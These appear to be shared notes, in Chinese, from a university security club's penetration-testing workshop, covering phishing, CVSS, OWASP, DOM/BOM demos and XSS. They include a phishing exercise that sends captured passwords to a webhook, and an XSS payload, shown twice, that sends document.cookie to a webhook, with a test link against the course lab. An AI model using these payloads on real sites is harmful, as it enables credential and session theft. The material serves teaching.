---
title: '2023/11/04 台科資安社-滲透測試工作坊'
disqus: hackmd
---
2023 台科資安社-滲透測試工作坊
===
## Table of Contents
[TOC]
## Topic
2023年11月4日星期六 上午 09:00 | 7 小時 | (UTC+08:00)台北
共筆: https://hackmd.io/82HhhxrIREiqTMb4ldxFGg?both
## 釣魚網站
GitHub: https://github.com/fcu-d0449763/phishing_20201214
JSFiddle: https://jsfiddle.net/
WebHook: https://webhook.site/#!/db04293b-a646-466d-a4d5-11f692c2a1f0
### 測試
#### 1. 去 [Github](https://gist.github.com/fei3363/e41a3ee190377f1c04ef2ba16a72d669) 複製 code
#### 2. 將 [webhook.site](https://webhook.site) 生成的網址複製貼上在 `img` 元素內的 `src` 欄位、`form` 的 `action` 欄位
#### 3. 使用 [jsfiddle](https://jsfiddle.net/) 開沙盒來進行測試,把 github 上複製的 code 貼到 HTML 上面
#### 4. fiddle 跑起來之後,就可以在 webhook 當中看見登入資訊、帳號密碼
### 更改外部網站
form action 更改成接收訊息
### curl 更改User-agent
`shell=
curl -A (user-agent) <網址>
`
## 預防/偵查
- 防範入侵:IPS/IDS
- 了解駭客的攻擊手法:查看 ATT&CK 資料庫
- 惡意程式分析、逆向工程分析
> 內部滲透:駭客會先進行外部滲透,當拿到區網當中的某一台機器,可能就會使用內部滲透去攻擊其他機器
### CVE 已知漏洞資料庫
- CVSS 漏洞評分系統
- CVSS 版本
- AV:攻擊方式是什麼樣的(N:網站)
- AC:攻擊需要的複雜度 (L:低)
- PR:攻擊所需的權限 (N:無)
- UI:是否需要使用者互動 (N:不需要)
- S:影響範疇 (C:改變)
- C:機密性
- I:完整性
- A:可用性
#### [HICTCON ZeroDay](https://zeroday.hitcon.org/)
- 台灣的漏洞回報平台
#### [HackerOne](https://hackerone.com/bug-bounty-programs)
- 國外的 bug bounty(有錢錢賺的那種)
### nslookup
- 隱藏IP:
> 如果不想讓別人知道你的真實 IP 是多少,可以使用 Cloudflare Proxy,會用 CDN 內容交付網路保護原 Server
## F12 console
Ref: [JavaScript入門系列:BOM和DOM筆記](https://medium.com/%E5%BF%AB%E6%A8%82%E5%AD%B8%E7%A8%8B%E5%BC%8F/javascript%E5%85%A5%E9%96%80%E7%B3%BB%E5%88%97-%E4%BD%95%E8%AC%82bom%E5%92%8Cdom-b6eeab2ee5fd)
### DOM 示範
Document Object Model,文件物件模型
```javascript
// 建立新的段落,存入變數 newElement
var newElement = document.createElement("p");
// 設定段落文字內容
newElement.textContent = "新的段落";
// 將段落加入網頁中
document.body.appendChild(newElement);
```
把以上這段塞進開發者工具 > console 裏面,可以發現它在下面新增了一個段落

### BOM 示範
Browser Object Model,瀏覽器物件模型
```javascript
// 處理彈出視窗
window.alert("這是一個警告視窗!");
// 瀏覽器網址
window.location.href = "https://feifei.tw";
// 瀏覽器歷史紀錄
window.history.back();
```
### Document: Document() constructor
Ref: https://developer.mozilla.org/en-US/docs/Web/API/Document/Document
### 如何預防 Cookie 可以被存取
- HTTP Only
- input validation
### 偷 Cookie 時間
<!-- 類似上次搞 admin 的 payload -->
<!-- 沒錯 -->
```javascript=
<script>new Image().src="WEBHOOK?data="+document.cookie;</script>
```
[測試連結](http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22%5BWEBHOOK%5D%28https%3A%2F%2Fwebhook.site%2F040571c1-9359-411e-97f7-2cc753840bc0%29%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E)
# -----社課提供共筆-----
# 網站安全共筆
[toc]
## 課程資訊
> 20231104 @台科資安社
[簽到表單](https://forms.gle/jh53avmsE9YyWzN19)
---
## 如何選擇網站作為攻擊目標?
:::danger
不要去隨意攻打沒有經過對方同意的網站
:::
### 什麼是資料外洩?

以上這些都是個人資料,但我們都是平民老百姓,為什麼駭客要攻擊我們QQ
駭客可能搜集我們的資訊,把我們當跳板,從而去得到他們想要的資訊
### 駭客是如何收集到你的資訊?
> 點選某個網站卻點到釣魚網站、下載遊戲下載到病毒、打開郵件其實是釣魚信件、下載到惡意檔案
可能使用社交工程 (Social Attack) 等類似釣魚的方式進行攻擊,可能會偽造如 Facebook 登入頁面等方式,讓人誤植帳號密碼
### 我們要如何避免被駭客打?
- 確認網域為正確,如 faceb0ok.com
- 雙重認證 MFA
- 使用 [VirusTotal](https://www.virustotal.com/gui/) 分析網站、檔案等是否安全
- 自行分析惡意程式、網站,可以使用虛擬機等
### 分析惡意網站
- 打開 Chrome Devtools (F12) (開發者工具)
- 或右鍵 -> 檢查
確認 `form` 元素發送目標 (action) 地點,但有時候會在 JavaScript 內無法很直覺地看到 :depressed:
## 駭客怎麼進行追蹤
- 圖片網址追蹤
- https://webhook.site
### 實作
1. 去 [Github](https://gist.github.com/fei3363/e41a3ee190377f1c04ef2ba16a72d669) 複製 code
2. 將 [webhook.site](https://webhook.site) 生成的網址複製貼上在 `img` 元素內的 `src` 欄位、`form` 的 `action` 欄位
3. 使用 [jsfiddle](https://jsfiddle.net/) 開沙盒來進行測試,把 github 上複製的 code 貼到 HTML 上面
4. fiddle 跑起來之後,就可以在 webhook 當中看見登入資訊、帳號密碼
> 可以從 `User-Agent` 看到你是啥系統、瀏覽器 (可以被偽造)
### 用指令的方式瀏覽網頁 + 偽造 User-Agent
```shell
curl -A fei=fei <網址>
```
> Implementation: recaptcha 防爬蟲機制 (Header 驗證不安全)
:::spoiler 實際案例

:::
### 台灣怎麼防禦釣魚
https://rpz.twnic.tw/
找較上層的 ISP 直接擋掉 DNS 請求
讓使用者不能連到釣魚網站
但如果是用任何一個國外的 VPN
就沒有辦法防護了
### 預防/偵查
- 防範入侵:IPS/IDS
- 了解駭客的攻擊手法:查看 ATT&CK 資料庫
- 惡意程式分析、逆向工程分析
> 內部滲透:駭客會先進行外部滲透,當拿到區網當中的某一台機器,可能就會使用內部滲透去攻擊其他機器
### 案例分析:統聯資料外洩
工程師沒設定好,DEBUG 沒關,所以可以看見該網站的環境變數資訊 (env),可以看見資料庫等資訊

我們得知資料庫的 port 為 3306,可透過 nslookup 之類的工具求出 DNS 紀錄

使用 nmap 查詢 port 3306 到底有沒有開
> 如果不想讓別人知道你的真實 IP 是多少,可以使用 Cloudflare Proxy,會用 CDN 內容交付網路保護原 Server
> 如果有使用 CDN,可以使用 [dnsdumpster](https://dnsdumpster.com/) 搜集更多前報
### 案例分析:宇豐電腦
工程師程式沒有寫好,邏輯沒有判斷

### DoS vs DDoS
- DoS: 有一個屁孩擋在門前,不讓你進來
- DDoS: 有好多個屁孩惡意擋在門口,其他顧客都進不來
## 常見弱點/漏洞
### OWASP
- [OWASP top 10](https://owasp.org/www-project-top-ten/)
- 定期整理出最常見的幾種弱點
- [OWASP project](https://owasp.org/projects/)
- 涵蓋這種階段需要注意的弱點
### CVE 已知漏洞資料庫
- CVSS 漏洞評分系統
- CVSS 版本
- AV:攻擊方式是什麼樣的(N:網站)
- AC:攻擊需要的複雜度 (L:低)
- PR:攻擊所需的權限 (N:無)
- UI:是否需要使用者互動 (N:不需要)
- S:影響範疇 (C:改變)
- C:機密性
- I:完整性
- A:可用性
### [HICTCON ZeroDay](https://zeroday.hitcon.org/)
- 台灣的漏洞回報平台
### [HackerOne](https://hackerone.com/bug-bounty-programs)
- 國外的 bug bounty(有錢錢賺的那種)
## [今天的靶機](http://vullab.feifei.tw/index.php)
- 從開發者工具可以看見很多資訊,並查找該版本相關的漏洞:
- Server: nginx/1.18.0 (Ubuntu)
- X-Powered-By: PHP/7.0.30
### CSS injection
```htmlembedded=
<style>
h1 {
color:red;
}
</style>
<h1>飛飛</h1>
```

[用 CSS 來偷資料 - CSS injection(上)](https://blog.huli.tw/2022/09/29/css-injection-1/)
### DOM vs BOM

### DOM 示範
```javascript
// 建立新的段落,存入變數 newElement
var newElement = document.createElement("p");
// 設定段落文字內容
newElement.textContent = "新的段落";
// 將段落加入網頁中
document.body.appendChild(newElement);
```
把以上這段塞進開發者工具 > console 裏面,可以發現它在下面新增了一個段落

### BOM 示範
* [參考連結](https://developer.mozilla.org/en-US/docs/Web/API/Window/history)
```javascript
// 處理彈出視窗
window.alert("這是一個警告視窗!");
// 瀏覽器網址
window.location.href = "https://feifei.tw";
// 瀏覽器歷史紀錄
window.history.back();
```
### 其他 JS 弱點
- 找 library 有沒有漏洞: jQuery, React, Vue, Angular...
- 找版本/Libeary
- ex: /login.php
- 找 API 路徑
- 找 API key: 有人會把帳號密碼寫在 API 裡面QQ
- 用前端驗證可以直接被繞過
## XSS
### Cookie 被偷走會怎麼樣
登入狀態會被偷走
### 如何預防 Cookie 可以被存取
- HTTP Only
- input validation
### 偷 Cookie 時間
<!-- 類似上次搞 admin 的 payload -->
<!-- 沒錯 -->
```javascript=
<script>new Image().src="WEBHOOK?data="+document.cookie;</script>
```
[測試連結](http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22%5BWEBHOOK%5D%28https%3A%2F%2Fwebhook.site%2F040571c1-9359-411e-97f7-2cc753840bc0%29%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E)
### 瀏覽器看不到
- 丁特的扭蛋機率